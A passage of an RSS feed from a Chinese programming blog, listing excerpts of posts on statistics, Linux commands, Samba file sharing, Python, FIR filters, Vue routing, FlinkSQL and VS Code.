      <description>数据预处理 - 四分位法 例子：&#xA;3、5、9、11、17、19、35&#xA;先计算位置，在通过位置计算对应的数值&#xA;Q1：(n+1)*0.25=2&#xA;Q2：(n+1)*0.5=4&#xA;Q3：(n+1)*0.75=6&#xA;当下标正好为整数时，对应的数值为Q1=5、Q2=11、Q3=19&#xA;13, 15, 16, 16, 19, 20, 20, 21&#xA;Q1：(n+1)*0.25=2.25&#xA;Q2：(n+1)*0.5=4.5&#xA;Q3：(n+1)*0.75=6.75&#xA;当计算的下标不是整数时，介于第二和第三位之间，但是更靠近第二位。所以第二位数权重占75%，第三位数权重占25%&#xA;Q1=（15*0.75+16*0.25）=15.25、Q2=17.5、Q3=（20*0.25+20*0.75）= 20&#xA;IQR = Q3-Q1&#xA;five-number-summary: min Q1 middle Q3 max&#xA;处理异常数据的常见方法：bin方法，回归，聚类，人机检查结合&#xA;Bin方法 (a)&#xA;Bin1 5,10,11,13 mean:9.75&#xA;Bin2 15,15,15,55 mean:25&#xA;Bin3 60,60,65,65 mean:62.5&#xA;(b)&#xA;Bin1 5,13,13,13&#xA;Bin2 15,15,15,55&#xA;Bin3 60,60,65,65&#xA;(c) W = (B-A)/N = (65-5)/3 = 20&#xA;Bin1: 5,10,11,13,15,15,15 mean:12&#xA;Bin2: NULL&#xA;Bin3: 55,60,60,65,65 mean:61&#xA;Normalization归一化 (a) 0 0.</description>
    </item>
    <item>
      <title>Linux系统管理命令</title>
      <link>https://bchobby.github.io/posts/36e9c7dfc4e5c8ba1f8d7c3f7f43005b/</link>
      <pubDate>Wed, 25 Nov 2020 23:26:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36e9c7dfc4e5c8ba1f8d7c3f7f43005b/</guid>
      <description> 1、hostname 显示主机名称 参数： -i 显示主机的IP地址&#xA;使用hostname -i查看ip地址命令不常用，常用的是ifconfig命令&#xA;2、clear 清屏 clear将会刷新屏幕，本质上只是让终端显示页向前翻了一页，如果往上滚动屏幕，还可以看到之前的操作信息。一般使用这个命令会让屏幕更加清爽。&#xA;3、top 动态的显示当前系统中耗费资源最多的进程 相当于Windows的任务管理器&#xA;4、ps 用来显示当前进程的状态 参数含义-e显示所有进程-f显示程序间的关系 举例：ps –ef&#xA;标识含义UID用户IDPID进程IDPPID父进程CCPU占用率STIME系统启动时间TIY登入者的终端机位TIME耗时 ps –ef | grep python 查找Python进程 5、date 显示或设置系统当前时间 应用场景 ①一般不用，在系统时间不准的时候使用。&#xA;②不加参数，默认显示系统当前时间&#xA;参数 -s 将系统时间设为所设定的时间&#xA;项目命令格式举例修改日期date –s 日期时间date –s 2020-11-11修改时间date –s 时间date –s 15:30:11同时修改时间和日期date -s ‘日期时间 时间’date –s ‘2020-11 15:30:11’ 6、kill 杀掉进程 举例： kill 8963 杀掉pid号为8963的进程，进程号是会变的，不固定，每次要杀掉进程时需要使用最新的进程号&#xA;参数 -9 强制杀掉进程（适用于只使用kill却杀不掉的情况）&#xA;7、其他命令 命令含义备注shutdown关机不要随便使用，会很麻烦logout注销退出当前登录用户，断开连接reboot重启ping确定网络和各外部主机的状态在还没连接或连接不上时使用此命令，查看本地与要登录的服务器之间网络是否畅通 </description>
    </item>
    <item>
      <title>python生成100以内随机数_python 随机产生0-100以内的随机数，找到最大值和最小值并交换位置...</title>
      <link>https://bchobby.github.io/posts/55f8b1e481290fe8c9d50d28e884afb1/</link>
      <pubDate>Wed, 25 Nov 2020 22:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55f8b1e481290fe8c9d50d28e884afb1/</guid>
      <description>[code]import random #随机模块&#xA;number = [] #创建一个列表&#xA;for i in range(0,100): #循环随机数100位&#xA;num = random.randint(0,100) #num得到随机数&#xA;number.append(num) #append是添加 随机数添加到number列表&#xA;print(number) #打印随机数&#xA;print(min(number),max(number)) #打印最大小&#xA;m = number.index(min(number)) #统计出现次数&#xA;n = number.index(max(number)) #&#xA;number[m],number&#xA;= number&#xA;,number[m] #最大与最小交换位置&#xA;print(number) #打印出交换的列表&#xA;python 随机产生0-100以内的随机数，找到最大值和最小值并交换位置</description>
    </item>
    <item>
      <title>局域网内建立共享硬盘服务器(基于windows共享硬盘，ubuntu可访问)</title>
      <link>https://bchobby.github.io/posts/c4a3752cee48f7da0f6fd8a0edab95a6/</link>
      <pubDate>Wed, 25 Nov 2020 21:26:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4a3752cee48f7da0f6fd8a0edab95a6/</guid>
      <description>局域网内建立共享硬盘服务器 Author: 杭州电子科技大学-自动化学院-智能系统和机器人研究中心-Jolen Xie&#xA;一、Windows连接Windows的共享硬盘服务器 1. 打开电脑共享功能 首先进入网络和共享中心打开共享设置&#xA;2. 修改wifi权限 如果是连的局域网wifi需要改为专用网络，直接网线连接应该会自动设置为专用网络，否则你的共享文件夹别人看不见。&#xA;3. 设置共享文件夹 首先建立一个文件夹，右击打开属性，配置共享权限&#xA;选择共享权限，一般选择Everyone&#xA;在这里如果没有Everyone就添加一个Everyone用户，如下图&#xA;此外还可能遇到其他电脑不能访问的问题，这是因为everyone对文件夹的安全操作权限未打开，如下图打开&#xA;4. 检查是否共享成功 可以在自己电脑我的电脑主页下的网络中查看是否有自己共享的文件，也可在同一局域网下的其他电脑上查看是否能看到共享文件夹。&#xA;可以看到共享文件的主机名字，点击后会出现登录界面，只要输入那台电脑的用户名和密码(可以根据第5点在主机上新建一个用户)就可看到共享文件夹。&#xA;5. 在服务器上新建用户，以便于登录&#xA;在“此电脑”右击并点击管理，根据以下操作，在第3部右击，建立新用户&#xA;根据自己的特殊喜好，建立你的用户名和密码，靠此账户可以登录服务器。&#xA;二、Ubuntu访问Windows的共享硬盘服务器 1. 安装samba和smbclient sudo apt-get install samba samba samba-common smbclient 2. 修改配置文件 由于windows和ubuntu的文件传输协议不一样所以需要修改以下配置文件。&#xA;sudo gedit /etc/samba/smb.conf 在文件中的[global]下面加入以下两句命令&#xA;client min protocol = CORE client max protocol = SMB3 如下图&#xA;刷新服务&#xA;sudo service smbd restart 3. 连接服务器 打开ubantu“文件”，左侧看到“连接服务器”&#xA;服务器地址输入：·smb://你服务器地址·&#xA;回车后会让你输入账户和密码，成功登录后就能看到里面的文件和数据了。&#xA;如果出现报错&#xA;请返回第二章第2个步骤哦。 如果还解决不了，请自行百度。</description>
    </item>
    <item>
      <title>统计学与统计机器学习1--连续型变量相关性分析</title>
      <link>https://bchobby.github.io/posts/629e9c16a7445b689f840894caa82966/</link>
      <pubDate>Wed, 25 Nov 2020 21:05:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/629e9c16a7445b689f840894caa82966/</guid>
      <description>文章目录 一、简单相关性分析1、变量间的关系分析（1）函数关系（2）相关关系i、平行关系ii、依存关系iii、两者关系 2、简单相关分析（1）计算两变量之间的线性相关系数i、协方差定义、柯西-施瓦尔兹不等式a、协方差定义b、柯西-施瓦尔兹不等式 ii、Pearson相关系数（样本线性相关系数）注意：数据不服从正态分布时--spearman相关系数 iii、ρ=0，相关系数的假设检验a、引入假设检验的原因 iv、t-检验的解读a、简历检验假设b、构造 t 统计量，计算相关系数 r 的 t 值c、计算 t 值和 P ，作结论 3、深度探讨ρ=0 二、多变量相关性分析（一个因变量和多个自变量）1、偏相关或复相关2、意义与用途3、分析方法（1）样本相关系数矩阵、相关系数检验（2）复相关分析（3）决定系数R^2^ (RMSE的介绍) 4、小结 一、简单相关性分析 1、变量间的关系分析 变量之间的关系可分为两类：函数关系、相关关系。&#xA;（1）函数关系 存在完全确定的关系&#xA;（2）相关关系 不存在完全确定的关系：虽然变量间有着十分密切的关系，但是不能由一个或多个变量值精确的求出另一个变量的值，称为相关关系，存在相关关系的变量称为相关变量。&#xA;相关变量的关系也可分为两种：平行关系、依存关系&#xA;i、平行关系 两个及以上变量间相互影响相关分析是研究呈平行关系的相关变量之间的关系 ii、依存关系 一个变量变化受另一个变量的影响回归分析是研究呈依存关系的相关变量之间的关系 iii、两者关系 回归分析和相关分析都是研究变量之间关系的统计学课题，两种分析方法相互结合和渗透&#xA;2、简单相关分析 相关分析：通过对大量数字资料的观察，消除偶然因素的影响，探求现象之间的相关关系的密切程度和表现形式主要研究内容：现象之间是否相关、相关的方向、密切程度等，不区分自变量与因变量，也不关心各变量的构成形式主要分析方法：绘制相关图、计算相关系数、检验相关系数 （1）计算两变量之间的线性相关系数 所有相关分析中最简单的就是两个变量间的线性相关，一变量数值发生变动，另一变量数值会随之发生大致均等的变动，各点的分布在平面图上大概表现为一直线；线性相关分析，就是用线性相关系数来衡量两变量的相关关系和密切程度给定二元总体（X,Y） 总体相关系数用ρ表示：cov(X,Y)是x与y的协方差 i、协方差定义、柯西-施瓦尔兹不等式 a、协方差定义 设（X,Y）是二维随机变量，若E[(X-E(X))(Y-E(Y))]存在&#xA;则称cov(X,Y)=E[(X-E(X))(Y-E(Y))]，叫X与Y的协方差，也叫X与Y的相关（中心）矩&#xA;即X的偏差(X-E(X))与Y的偏差(Y-E(Y))乘积的期望&#xA;解读：&#xA;当cov(X,Y)&amp;gt;0,X的偏差(X-E(X))与Y的偏差(Y-E(Y))，有同时增加或同时减少的倾向，又由于E(X)和E(Y)都是常数，所以就能够等价于X与Y有同时增加或减少的倾向，称X与Y正相关当cov(X,Y)&amp;lt;0,X的偏差(X-E(X))与Y的偏差(Y-E(Y))，有X增加Y减少的倾向，或Y增加X减少的倾向，称X与Y负相关当cov(X,Y)=0,称X与Y不相关，这时可能是X与Y取值毫无关联，也可能是某种特殊的非线性关系 b、柯西-施瓦尔兹不等式 根据柯西-施瓦尔兹不等式&#xA;变形得ρx,y在区间[-1,1]&#xA;ρx,y是没有单位的，因为分子协方差的量纲除以了分母的与分子相同的量纲&#xA;两变量线性相关性越密切，|ρx,y|越接近于1两变量线性相关性越低，|ρx,y|越接近于0|ρx,y|=0的情况跟上面cov(X,Y)=0情况一样，两变量取值毫无关联或有某种特殊的非线性关系 协方差与相关系数的关系，就像绝对数与相对数的关系（绝对数相当于统计中常用的总量指标；相对数是两个有联系的指标的比值，从数量上反应两个相互联系的现象之间的对比关系。）&#xA;ii、Pearson相关系数（样本线性相关系数） 一般用样本线性相关系数来估计总体线性相关系数，数据必须服从正态分布&#xA;设（X,Y）是二元总体，简单随机抽样(x1,y1),(x2,y2),……(xn,yn)&#xA;样本均值：&#xA;样本方差：&#xA;样本协方差：&#xA;样本相关系数：&#xA;lxx为x的离差平方和，lyy为y的离差平方和，lxy为x与y离差乘积之和（可正可负）&#xA;实际计算可按下面简化：&#xA;python代码（人的身高体重相关性关系）：&#xA;import numpy as np import matplotlib.pyplot as plt x=np.</description>
    </item>
    <item>
      <title>【数字信号处理】FIR 滤波器基础理论</title>
      <link>https://bchobby.github.io/posts/f156a543245b93312eda3fa9f1d6794c/</link>
      <pubDate>Wed, 25 Nov 2020 14:09:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f156a543245b93312eda3fa9f1d6794c/</guid>
      <description>FIR 滤波器设计基础理论 FIR 滤波器是数字滤波器的一种，相比于模拟滤波器，其滤波精度高，稳定，可随时修改，不需要考虑阻抗等问题，可以实现特殊要求的幅频特性，同时满足一定条件的FIR滤波器具有线性相位，因此FIR滤波器在实际工程中得到了较为广泛的应用，例如图像处理、通信以及雷达等。&#xA;本文主要讲述线性相位的 FIR 滤波器的基本原理和&#xA;并行结构基础，其次阐述了并行结构中常用到的 FFA 算法和快速卷积算法。&#xA;目录&#xA;1.FIR 滤波器的基本原理 一个 N 阶的 FIR 滤波器输出公式 y(n) 如下：&#xA;式1中 h(k)为滤波器的系数，x(n-k)为x(n)延时k个周期。系统的传输函数H(z)可表示成公式2：&#xA;从式1看出：滤波过程主要是一组特定的系数与信号完成卷积的过程。从式2看出，在有限的Z平面内它有N-1个零点同时其 N-1个极点全部位于 z=0 中，因此 FIR 滤波器也被称为全零点滤波器，是一个单位脉冲响应有限长的稳定系统。&#xA;FIR滤波器在系数满足一定条件的情况下，它的相频特性是线性的，可以有效的保留信号的相位信息，因此线性相位的 FIR 滤波器在实际工程中有着较为广泛的应用。FIR网格结构的特点是没有反馈支路，也就是说没有环路。下面将介绍三种 FIR滤波器中常用到的网格结构。&#xA;1.1 FIR 滤波器基本结构 直接型：按照公式1或者2直接画出的结构就是直接型结构。直接型结构是将公式中的x(n-k)延时链展开，将延时后的数据先进行乘法运算后进行累加操作，如图 1 所示。将直接型结构进行转置（转置原理），先进行乘法运算后续进行延时&#xA;和累加操作即可得到转置型网格结构，如图2 所示。&#xA;图1 直接型网格结构&#xA;图2 转置型网格结构&#xA;级联型：把系统函数进行因式分解，将其中成对的零点排列在一起，得到 1 阶或者2 阶的基本直接型结构，将基本结构互相级联即可得到级联结构。&#xA;式3中[N/2]表示对 N/2 取整。当 N 为奇数的时候，为 0。FIR 滤波器的级联结构如图 2.3 所示。&#xA;图2.3 级联型网格结构&#xA;级联型结构使用的乘法器较多，滤波器阶数越高越难分解，因此在实际中应用较少。&#xA;**线性相位结构：**FIR 滤波器因其线性相位特性和系数对称性而在实际工程中被广泛使用，可以保留初始相位信息。它的单位脉冲响应满足如下公式4：&#xA;式4中，+表示第一类线性相位结构，-表示第二类线性相位结构。当 N 为偶数时：&#xA;当 N 为奇数时：&#xA;因此，根据公式画出线性相位结构如下：</description>
    </item>
    <item>
      <title>plt绘制柱状图</title>
      <link>https://bchobby.github.io/posts/6c4a36f00ffe5357e7901e077f62a156/</link>
      <pubDate>Wed, 25 Nov 2020 13:13:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c4a36f00ffe5357e7901e077f62a156/</guid>
      <description>先上效果图&#xA;数据保存在txt文件中，一列数据。格式如下：&#xA;代码如下：&#xA;import matplotlib.pyplot as plt import numpy as np def show_sub(): all_values = [] x_range = np.arange(-0.05,0.3,0.05) x_cell = [&#39;~-0.05&#39;,&#39;-0.05~0&#39;,&#39;0~0.05&#39;,&#39;0.05~0.10&#39;,&#39;0.10~0.15&#39;,&#39;0.15~0.20&#39;,&#39;0.20~0.25&#39;,&#39;0.25~&#39;] y_values = np.zeros(len(x_range)) file = open(&#39;sim_sub.txt&#39;, &#39;r&#39;) c = 0 for line in file.readlines(): # if c == 50: # break # c += 1 v = line.strip() all_values.append(v) file.close() all_values_arr = np.array(all_values) all_values_arr = all_values_arr.astype(np.float) already = 0 for i,x in enumerate(x_range): idxs = np.where(all_values_arr &amp;lt; x) y_values[i] = len(idxs[0])-already if x&amp;lt;=0: y_values[i] *= -1 already = len(idxs[0]) print(y_values[i]) #all_values = list(all_values_arr) x_range = list(x_range) y_values = list(y_values) x_range.</description>
    </item>
    <item>
      <title>iview一级菜单、二级菜单、三级菜单路由配置</title>
      <link>https://bchobby.github.io/posts/e998039729ac176613751bae26684d98/</link>
      <pubDate>Wed, 25 Nov 2020 12:05:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e998039729ac176613751bae26684d98/</guid>
      <description>一级菜单：&#xA;{ path: &#39;/realTime&#39;, name: &#39;realTime&#39;, meta: { icon: &#39;md-cloud-uploads&#39;, title: &#39;实时监控&#39; }, component: Main, children: [{ path: &#39;realTime&#39;, name: &#39;realTime&#39;, meta: { icon: &#39;md-occupation&#39;, title: &#39;实时监控&#39; }, component: (resolve) =&amp;gt; require([&#39;@/view/realTime/realTime.vue&#39;], resolve) }, ] }, 二级菜单：&#xA;{ path: &#39;/configuration&#39;, name: &#39;configuration&#39;, meta: { icon: &#39;md-cloud-uploads&#39;, title: &#39;配置中心&#39; }, component: Main, children: [{ path: &#39;userInfo&#39;, name: &#39;userInfo&#39;, meta: { icon: &#39;md-occupation&#39;, title: &#39;员工管理&#39; }, component: () =&amp;gt; import(&#39;@/view/configuration/userInfo.vue&#39;) }, ] }, 三级菜单</description>
    </item>
    <item>
      <title>Flink编码：FlinkSQL全面指南</title>
      <link>https://bchobby.github.io/posts/439dd4e2358e7c4a31d7191620dc1eb7/</link>
      <pubDate>Wed, 25 Nov 2020 11:57:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/439dd4e2358e7c4a31d7191620dc1eb7/</guid>
      <description>文章目录 1. FlinkSQL定位2. 流与表的对偶性3. 持续查询/增量计算4. 回撤流5. Flink 1.11关于SQL的增强5.1 DDL写法5.2 主键5.3 Catalog 6. JOIN算子6.1 双流JOIN原理6.1.1 Inner Join6.1.2 Left Join6.1.3 State数据结构 7. 窗口7.1 OverWindow7.1.1 基于数据条目的overwindow7.1.2 基于时间的overwindow 7.2 GroupWindow7.2.1 滚动窗口7.2.2 滑动窗口7.2.3 Session窗口 1. FlinkSQL定位 通过SQL开发人员可以只关注业务逻辑，学习成本低，容易理解，而且内置了很多的优化规则，可以简化开发复杂度，通过SQL还能在高层应用上实现真正的批流一体。&#xA;Hive SQL，Spark SQL，Flink SQL给开发人员带来了极大便捷，让开发人员只需关注业务场景，而无需关注复杂的API编写。&#xA;2. 流与表的对偶性 以下是利用FlinkSQL做CDC的场景，mysql表可以转成CDC流，CDC流又可以落盘成mysql表。&#xA;表的重要属性：schema，data，DML操作时间/时间字段&#xA;流的重要属性：schema（debezium、canal、ogg），data，processTime/eventTime&#xA;流与表具备相同的特征，可以信息无损的相互转换，我称之为流表对偶(duality)性。流与表的对偶性，是flinkSQL的理论基石。而理解流与表的对偶性的前提，是要充分理解FlinkSQL的增量查询和双流join原理，见下节。&#xA;参考：https://developer.aliyun.com/article/667566?spm=a2c6h.13262185.0.0.36a07e18Wn3kay&#xA;3. 持续查询/增量计算 流上的数据源源不断的流入，我们既不能等所有事件流入结束（永远不会结束）再计算，也不会每次来一条事件就像传统数据库一样将全部事件集合重新整体计算一次。&#xA;在持续查询的计算过程中，Apache Flink采用增量计算的方式，也就是每次计算都会将计算结果存储到state中，下一条事件到来的时候利用上次计算的结果和当前的事件进行聚合计算。&#xA;如以下案例：&#xA;// 求订单总数和所有订单的总金额 select count(id) as cnt，sum(amount)as sumAmount from order_tab; 将count和sum更新到在state中；当最新一条数据到来时，count+1，sum+amount。&#xA;4. 回撤流 Flink中，Kafka Source/Sink是非回撤流，Group By是回撤流。所谓回撤流，就是可以更新历史数据的流，更新历史数据并不是将发往下游的历史数据进行更改，要知道，已经发往下游的消息是追不回来的。更新历史数据的含义是，在得知某个Key（接在Key BY / Group By后的字段）对应数据已经存在的情况下，如果该Key对应的数据再次到来，会生成一条delete消息和一条新的insert消息发往下游。&#xA;聚合算子和Sink算子都有回撤的概念，但是又不尽相同。聚合算子的回撤用于聚合状态的更新，保证了FlinkSQL持续查询/增量查询的正确语义；Sink算子的回撤则更多的是应用于CDC场景，保证了CDC场景下的append、upsert、retract等语义的正确性。</description>
    </item>
    <item>
      <title>web 打印条码 有虚线_【Dynamic Web TWAIN教程】条码读取器（上）</title>
      <link>https://bchobby.github.io/posts/31797b282f6e4aefc9a8686600b6de3b/</link>
      <pubDate>Wed, 25 Nov 2020 09:52:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31797b282f6e4aefc9a8686600b6de3b/</guid>
      <description>使用条形码识别在文档数字化中自动分类&#xA;介绍&#xA;现在，无纸化办公的想法越来越受欢迎，纸质文件的数字化已经成为一种趋势。与此同时，许多行业，如医院，银行等，仍然需要打印文件，然后再将其数字化。那么这将会导致一种情况：由于不同操作之间的时间差异，很可能会堆积大量纸质文档并且正等待扫描。然后，我们需要对多个文档进行一次性扫描，在此期间需要对文档进行分类。当然，这些任务可以手动完成，但自动化可以节省大量的时间和精力。在本文中，我们将分享如何通过Web应用程序中的条形码实现自动化。&#xA;环境&#xA;Windows&#xA;本地Web服务器&#xA;步骤&#xA;步骤1 创建一个新目录DocumentsSeparation在其中创建一个新页面index.html&#xA;Documents Separation 步骤2 参考核心JavaScript库&#xA;Documents Separation 注意：此处引用了在线JavaScript文件。在项目中，你应该引用项目中的相应文件。如果你以前在本地安装了Dynamic Web TWAIN产品，也可以在以下目录中找到相同的文件。&#xA;C:Program Files (x86)DynamsoftDynamic Web TWAIN SDK {version number} {Trial}Resource&#xA;步骤3 添加DIV和几个按钮&#xA;效果如下：&#xA;步骤4 添加初始化代码&#xA;步骤5 在浏览器中打开index.html。如果之前未安装，请按照页面上的提示安装相应的扫描和条形码识别控件。此安装过程只需在每台计算机上完成一次&#xA;通常的安装路径为 C:WindowsSysWOW64DynamsoftDynamsoftService&#xA;以下是本文中使用的主要文件。&#xA;DynamsoftService.exedwt_trial_14.1.0.0828.dllDynamsoftBarcodeReaderx86_6.3.dlldbr_6.3.0.0723.dll 步骤6 添加按钮的代码&#xA;function AcquireImage() { if (DWObject) { DWObject.SelectSource(function () { var OnAcquireImageSuccess, OnAcquireImageFailure; OnAcquireImageSuccess = OnAcquireImageFailure = function () { DWObject.CloseSource(); }; DWObject.OpenSource(); DWObject.IfDisableSourceAfterAcquire = true; DWObject.AcquireImage(OnAcquireImageSuccess, OnAcquireImageFailure); }, function () { console.</description>
    </item>
    <item>
      <title>2019 vs 安装odt_VS Code C/C&#43;&#43; 扩展：2019年7月更新</title>
      <link>https://bchobby.github.io/posts/895cd956c1a35216d863d89f67534073/</link>
      <pubDate>Wed, 25 Nov 2020 06:29:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/895cd956c1a35216d863d89f67534073/</guid>
      <description>近日，VS开发团队隆重宣布：VS Code C/C++扩展2019年7月更新正式发布。这个扩展包含了许多激动人心的新功能，其中包括：语义着色，IntelliSense配置界面增强以及IntelliSense缓存。&#xA;对于我们这些热爱C++的人来说，这证明了C++在VS开发团队心目中的地位，确实是一个好消息。那么，我们就来看看这些新的功能。&#xA;语义着色 长久以来，语义着色一直是开发者希望VS开发团队增加的一项特性。但是这项功能对于VS开发团队来说，确实是一个极大的挑战。VS虽然具备二次开发API，但是在其设计之初，并没有对应语义高亮的API，同时在VS Code server protocol中，也没有提供对语义着色的支持。另外，他们也无法通过编程的方式来访问主题的颜色配置。开发团队一度认为这个是一个不可能的任务，幸运的是，他们找到一种方法克服了种种困难，终于实现了这一特性。在这个实现方法中，他们通过TextEditorDecorations来对Token进行管理，同时通过对主题文件和VS Code配置来应用当前的配色。闲话不多说，看看下图：&#xA;语义着色支持对上下文之外的Token进行着色，因此，它超越了传统的语法着色。举个栗子，如果你使用了一个在其他地方定义的变量，那么在语义着色的加持下，你可以看到如下的变化：&#xA;亲爱的朋友们，你们看到右图中的颜色变化了吗：是不是牛逼炸了？&#xA;结构体box在main函数之外定义，当在main函数使用它时，它的颜色已经变化了。这就是传说中的按语义来着色。&#xA;主题 我们可以通过VS Code中的颜色管理模块，来自定义语义着色中的颜色。具体还是需要参考VS Code的有关主题的文档，这里就不赘述了。&#xA;有一个需要注意的地方是，有许多没有被默认的C/C++ TextMate语法直接识别的Token，这些Token是不能被现有的VS Code主题所着色的，你当然可以在VS Code中自定义颜色。但是，你也可以通过全局设置或者主题设置来进行配置。主题的作者也可以在创建一个新的主题时参考这些配置项。&#xA;在全局设置中自定义颜色 找到你的settings.json文件，然后通过修改tokenColorCustomizations这个设置项来自定义主题颜色。如下图所示：&#xA;为一个主题自定义颜色 当然，你也可以在某一个主题上自定义颜色。在下面的例子中，我们可以修改VS的暗黑主题的颜色配置：&#xA;开发团队还创建了一些用于自定义VS暗黑和轻量主题的模板，基于这些模板，我们可以方便快速的自定义主题的颜色。&#xA;IntelliSense配置编辑器 VS开发团队分享到，开发IntelliSense配置编辑器的主要目的是提供另一种更加人性化的方式来配置IntelliSense，之前我们使用的方法时修改c_cpp_properties.json这个配置文件来达到这个目的。这个图形化的界面比配置文件更加简单，同时也可以更加容易的理解IntelliSense的各个配置的含义。很善解人意有没有？&#xA;选择，修改和添加配置 建立多个IntelliSense配置有时候会是一个很好的主意。比如，你可能需要在Debug模式需要尽可能丰富的代码结构化信息，但是在Release模式下，你主要是为了编译发行版本，代码的结构化信息也许不那么重要了，所以我们可以为Debug和Release这两种模式来创建各自对应的IntelliSense配置,这样在两种模式下切换时，可以自动加载各自的配置，从而提高编辑器的响应速度。我们可以选择一个已经存在的配置，如下图所示：&#xA;当然，你也可以编辑选择的配置：&#xA;编译器路径列表 在编辑器中的”compiler path”下拉框中，我们可以看到被系统检测到的所有编译器的路径，可以根据项目的实际情况进行配置，如下图所示：&#xA;话说这罗马确实不是一天就建成的，VS之所以成为灭霸级的开发IDE，是因为有这样一波人，每天更新一点新特性，日积月累才建立起来的。好了，接下来继续新特性讲解。&#xA;IntelliSense缓存 在2019年3月的更新中，VS开发团队引入了IntelliSense缓存这一设计。设计这个缓存的目的，主要是为对头文件信息进行缓存，从而加快IntelliSense的工作速度。开发团队收到了许多来自GitHub社区的反馈，他们决定在2019年7月更新中对IntelliSense的默认路径进行一些修改。&#xA;默认路径 在之前的版本中，默认的IntelliSense的缓存路径是在工作空间(${workspaceFolder}/.vscode)的”.vscode”目录下。修改这个默认路径，可以解决一些在工作空间进行源码管理的问题。而且，因为缓存的大小被应用在缓存所在的位置上，另外如果总是在同一个地方存放缓存的话，会减少总体磁盘的缓存使用率。&#xA;具体来说，在新版本中，C_Cpp.intelliSenseCachePath配置的默认值有了变化：&#xA;在Linux和macOS上，它的值是：~/.vscode-cpptools，&#xA;在Windows上，它的值是：%LocalAppData%/Microsoft/vscode-cpptools&#xA;值得注意的一点是，如果你使用的是旧的IntelliSense缓存路径，那么这个扩展将会移除上次之前添加到${workspaceFolder}/.vscode目录的所有缓存。朋友们，别被这个地方给坑了！&#xA;期待您的反馈 一如既往的，VS开发团队十分重视各位开发者对新特性的反馈和建议。有兴趣的朋友，可以下载这个扩展并安装到你的VS Code，尝尝鲜，吃吃瓜，提提意见。&#xA;感谢阅读，本文来自Visual Studio博客。</description>
    </item>
    <item>
      <title>python定义字符串数组_python 入门之 – 数组类型（十二）</title>
      <link>https://bchobby.github.io/posts/a873cccdd2389e4406873c038b9463db/</link>
      <pubDate>Wed, 25 Nov 2020 05:55:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a873cccdd2389e4406873c038b9463db/</guid>
      <description>关于数组类型，有过编程基础的都知道是怎么回事儿，最为代表的其实就是JOSN格式的数据了，在python中定义数组，其实就是和JS中可以说一摸一样，如：&#xA;arr = []&#xA;print(type(arr))&#xA;我先用 type() 方法判断一下变量 arr 的类型，打印出来了是 list 语义话的意思其实就是列表或者说数组集合，其实数组里面有好多种操作，如：&#xA;1、创建数组&#xA;2、查询数组&#xA;3、数组切片&#xA;4、数组增加&#xA;5、数组修改&#xA;6、数组删除&#xA;7、数组排序&#xA;8、数组拼接&#xA;创建数组&#xA;创建数组的方式有很多种，第一种：&#xA;arr = []&#xA;这是创建的一个空数组，里面没有任何数据&#xA;第二种：&#xA;arr = [&#39;张三&#39;,&#39;李四&#39;,&#39;王五&#39;,&#39;赵六&#39;]&#xA;这是赋值的情况下创建的，一创建里面就已经有了数据&#xA;第三种：&#xA;arr = list()&#xA;这一种比较特别了，如上方第一个演示，我用 type() 操作符判断数组类型打印出来的就是 list 类型，所以这种方式和 js 里面的构造函数比较类似&#xA;查询数组&#xA;查询数组其实就是查询某个元素在那个位置，可以通过下标查询得到值，也可以通过字符串查询出下标，还可以统计指定元素的个数&#xA;下标查询如：&#xA;arr = [&#39;张三&#39;,&#39;李四&#39;,&#39;王五&#39;,&#39;赵六&#39;]&#xA;arr[0] #通过索引值下标查询，0 代表第一个，等于 &#39;张三&#39;&#xA;arr[-1] #从右往左查询，-1 代表最后一个，以此类推，等于 &#39;赵六&#39;&#xA;在数组里面，python提供了一个操作方法，可以直接返回出对应值的下标，如：&#xA;arr = [&#39;张三&#39;,&#39;李四&#39;,&#39;王五&#39;,&#39;赵六&#39;]&#xA;arr.index(&#39;张三&#39;) #返回出下标 0&#xA;arr.index(&#39;李四&#39;) #返回出下标 1&#xA;arr.index(&#39;王五&#39;) #返回出下标 2</description>
    </item>
    <item>
      <title>element admin 动态路由_vueelementadmin权限管理之路由解读</title>
      <link>https://bchobby.github.io/posts/62e9402e59eb012839c2519a7a01e612/</link>
      <pubDate>Wed, 25 Nov 2020 04:32:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62e9402e59eb012839c2519a7a01e612/</guid>
      <description>权限问题一直是一个比较让人头疼的事情，以前前后端不分离的时候，后端负责权限的处理，根据用户或角色的权限来渲染页面，现在随着前后端分离的流行，权限管理是否可以交给前端的讨论也慢慢浮出水面，前端管理权限的优势是显而易见的，就是极大的减轻了后端的负担，使得页面渲染更快更方便，代价就是安全性难以得到保证，因为我们需永远记住——用户是不可靠的。&#xA;权限控制最简单的一种方式是路由控制，即根据用户或者角色的权限来决定哪些路由是可以访问的，比如新闻管理员只能访问新闻管理的页面，商品管理的页面他是访问不了的。较为复杂的权限控制则需要对访问的数据进行控制(比如有些帖子普通会员看不了图片)，这个前端就很难实现了。我们在这里讨论路由控制的情况。&#xA;路由文件为src/router/index.js，代码较长，重复部分省略之：&#xA;import Vue from &#39;vue&#39;&#xA;import Router from &#39;vue-router&#39;&#xA;Vue.use(Router)&#xA;import Layout from &#39;@/layout&#39;&#xA;export const constantRoutes = [&#xA;{&#xA;path: &#39;/redirect&#39;,&#xA;component: Layout,&#xA;hidden: true,&#xA;children: [&#xA;{&#xA;path: &#39;/redirect/:path(.*)&#39;,&#xA;component: () =&amp;gt; import(&#39;@/views/redirect/index&#39;)&#xA;}&#xA;]&#xA;},&#xA;{&#xA;path: &#39;/login&#39;,&#xA;component: () =&amp;gt; import(&#39;@/views/login/index&#39;),&#xA;hidden: true&#xA;},&#xA;{&#xA;path: &#39;/&#39;,&#xA;component: Layout,&#xA;redirect: &#39;/dashboard&#39;,&#xA;children: [&#xA;{&#xA;path: &#39;dashboard&#39;,&#xA;component: () =&amp;gt; import(&#39;@/views/dashboard/index&#39;),&#xA;name: 